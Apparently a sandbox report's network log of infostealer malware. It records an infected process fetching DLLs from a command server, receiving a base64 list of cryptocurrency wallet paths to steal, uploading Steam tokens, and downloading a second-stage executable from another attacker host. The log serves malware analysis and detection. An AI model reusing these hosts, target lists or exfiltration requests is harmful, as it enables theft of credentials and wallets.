Dec 23, 2024 06:54:25.371467113 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 23, 2024 06:54:25.814798117 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 23, 2024 06:54:28.820101976 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 23, 2024 06:54:29.261193991 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 23, 2024 06:54:29.890044928 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 23, 2024 06:54:30.331336975 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 23, 2024 06:54:30.836061001 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHD Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 06:54:31.988374949 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 06:54:32.071634054 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="message"wallets------JDBFIIEBGCAKKEBFBAAF--
Dec 23, 2024 06:54:32.515599966 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 23, 2024 06:54:32.518409967 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="message"files------EGCGHCBKFCFBFHIDHDBF--
Dec 23, 2024 06:54:32.962183952 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 06:54:32.975430012 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="file"------EGIDBFBFHJDGCAKEGHJE--
Dec 23, 2024 06:54:33.907502890 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 06:54:34.094558001 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"ybncbhylepme------BGDAAKJJDAAKFHJKJKFC--
Dec 23, 2024 06:54:34.539745092 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49927	185.215.113.16	80	2224	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 06:54:34.688956022 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 23, 2024 06:54:36.019067049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 05:54:35 GMT Content-Type: application/octet-stream Content-Length: 3247616 Last-Modified: Mon, 23 Dec 2024 05:12:44 GMT Connection: keep-alive ETag: "6768f14c-318e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@1U1@WkT11 @.rsrc@.idata @qmfgnvnj**@jskflmnk1h1@.taggant01"l1@
Dec 23, 2024 06:54:36.019136906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 06:54:36.019150019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 06:54:36.019432068 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 06:54:36.019445896 CET	1236	IN	Data Raw: c1 96 35 25 49 3e cd aa c6 3f a5 4e c8 6a d6 d2 c1 94 85 7f 6d bc 6e e7 35 fa 71 59 8d 16 15 77 8a 3e 4d b7 cb f2 a5 ff 98 70 ab e7 55 7d d6 d2 c1 94 85 7f 09 bc 6e e7 35 e2 7b 59 8d 16 35 77 8a 3e 4d 17 c8 f2 a5 ff f8 73 ab e7 55 7d d6 d2 c1 94 Data Ascii: 5%I>?Njmn5qYw>MpU}n5{Y5w>MsU}%n5:xYUw>MsU}=n5vYuw>MW8sU}n5*{Yw>M7sU}n5pYw>MxsU}`n5jxYw>MwXsU}
Dec 23, 2024 06:54:36.019458055 CET	1236	IN	Data Raw: 09 b3 6e e7 35 92 7a 59 8d 16 d5 73 8a 3e 4d 77 da f2 a5 ff 58 7f ab e7 55 7d d6 d2 c1 94 a9 7f 01 b3 6e e7 35 06 7f 59 8d 16 f5 73 8a 3e 4d d7 da f2 a5 ff b8 7f ab e7 55 7d d6 d2 c1 94 a9 7f 19 b3 6e e7 35 12 78 59 8d 16 15 7c 8a 3e 4d b7 da f2 Data Ascii: n5zYs>MwXU}n5Ys>MU}n5xY\|>MU}n5RpY5\|>M~U})n5bpYU\|>M~U}n52pYu\|>MW8~U}n5ZvY\|>M7~U}n5wY\|>M
Dec 23, 2024 06:54:36.019470930 CET	1236	IN	Data Raw: 18 7a ab e7 55 7d d6 d2 c1 94 a9 7f 09 b1 6e e7 35 9a 76 59 8d 16 b5 78 8a 3e 4d 97 ec f2 a5 ff 78 7a ab e7 55 7d d6 d2 c1 94 9d 7f 01 b1 6e e7 35 8a 74 59 8d 16 d5 78 8a 3e 4d 77 ed f2 a5 ff 58 7a ab e7 55 7d d6 d2 c1 94 95 7f 25 b1 6e e7 35 42 Data Ascii: zU}n5vYx>MxzU}n5tYx>MwXzU}%n5BvYx>MzU}1n5tYy>MzU}n5uY5y>MEU}n5yYUy>MEU}n5*tYuy>MW8EU}n5~
Dec 23, 2024 06:54:36.019484997 CET	1236	IN	Data Raw: 8d 16 75 45 8a 3e 4d 57 ff f2 a5 ff 38 41 ab e7 55 7d d6 d2 c1 94 a9 7f e1 b5 6e e7 35 8a 7b 59 8d 16 95 45 8a 3e 4d 37 ff f2 a5 ff 18 41 ab e7 55 7d d6 d2 c1 94 9d 7f f9 b5 6e e7 35 b2 7b 59 8d 16 b5 45 8a 3e 4d 97 ff f2 a5 ff 78 41 ab e7 55 7d Data Ascii: uE>MW8AU}n5{YE>M7AU}n5{YE>MxAU}n5RyYE>MwXAU}n5wYE>MAU}In5zYF>MAU}Yn5*qY5F>M@U}mn5RzYUF>M@U}
Dec 23, 2024 06:54:36.019999981 CET	1236	IN	Data Raw: c1 ab 6a 9b c7 3f 19 9a 49 3e 55 ff 28 23 a8 e7 55 7d d6 d2 c1 6a d6 d2 c1 6a d6 d2 c1 6a d6 d2 c1 b5 52 9b 34 fa 2a 5a 8d b3 d2 97 49 7f e9 d2 c1 e3 10 f3 57 b5 ba 11 47 32 ec 98 18 33 6e e7 5c 16 37 8a 8b 3e 28 db 89 00 6f 9f 8d 82 90 7d 81 e0 Data Ascii: j?I>U(#U}jjjR4ZIWG23n\7>(o}1;?d6o)\'LJ2UfF>x0njj?NjjW9?\rF%>jW>Hg)?d6ojjjc92{>
Dec 23, 2024 06:54:36.020013094 CET	1236	IN	Data Raw: 8c 3e a5 57 1e f3 c9 d8 46 76 aa 57 02 eb c9 d8 46 16 ab ff 69 2e a8 e7 03 e3 f1 1b c9 36 ec 9f 0c 30 6e e7 0b 04 9a 75 a5 b5 56 0f 4b b5 ea 65 f3 3e 95 e7 8c 8c 95 1c 42 3a 29 25 a8 d5 ea 1b cd 3a 29 ef ac 81 68 55 5a 16 c8 31 8a 3e 28 db 85 b5 Data Ascii: >WFvWFi.60nuVKe>B:)%:)hUZ1>(PqPP1I>PVi>NlRKQG[>>H=jjjWG23n\w>(o}q>?d6oc92{*>(Z>
Dec 23, 2024 06:54:36.138730049 CET	1236	IN	Data Raw: 8c ab 6e ff c7 f3 c4 e6 9f e1 e5 56 67 29 98 5a e5 16 ab 1f 8a 3e 28 db 89 71 6f e3 8d 3e a5 e7 01 f3 cd 1d 46 1e 17 5a ec b7 6e fb 1e f3 c5 56 65 1e 19 a6 8c 96 99 19 47 3e cd 0d 1a 3f a5 64 c9 2a 2e 27 1e f3 cd 56 79 d0 cd 75 05 3f a5 06 ad b0 Data Ascii: nVg)Z>(qo>FZnVeG>?d*.'Vyu?or^N>R\G$~?L9&j(&z2Wj[2o}jjj}9$jVZ}m%?d6ojj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49945	185.215.113.206	80	2224	C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 06:54:41.587610960 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 66 39 36 65 66 33 34 39 39 34 32 35 39 65 39 65 37 62 36 37 37 62 37 32 33 36 64 33 61 33 39 64 63 37 34 62 38 30 36 62 30 37 31 38 35 30 61 39 31 65 39 33 39 35 61 62 36 66 38 30 61 33 62 65 63 33 65 30 38 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 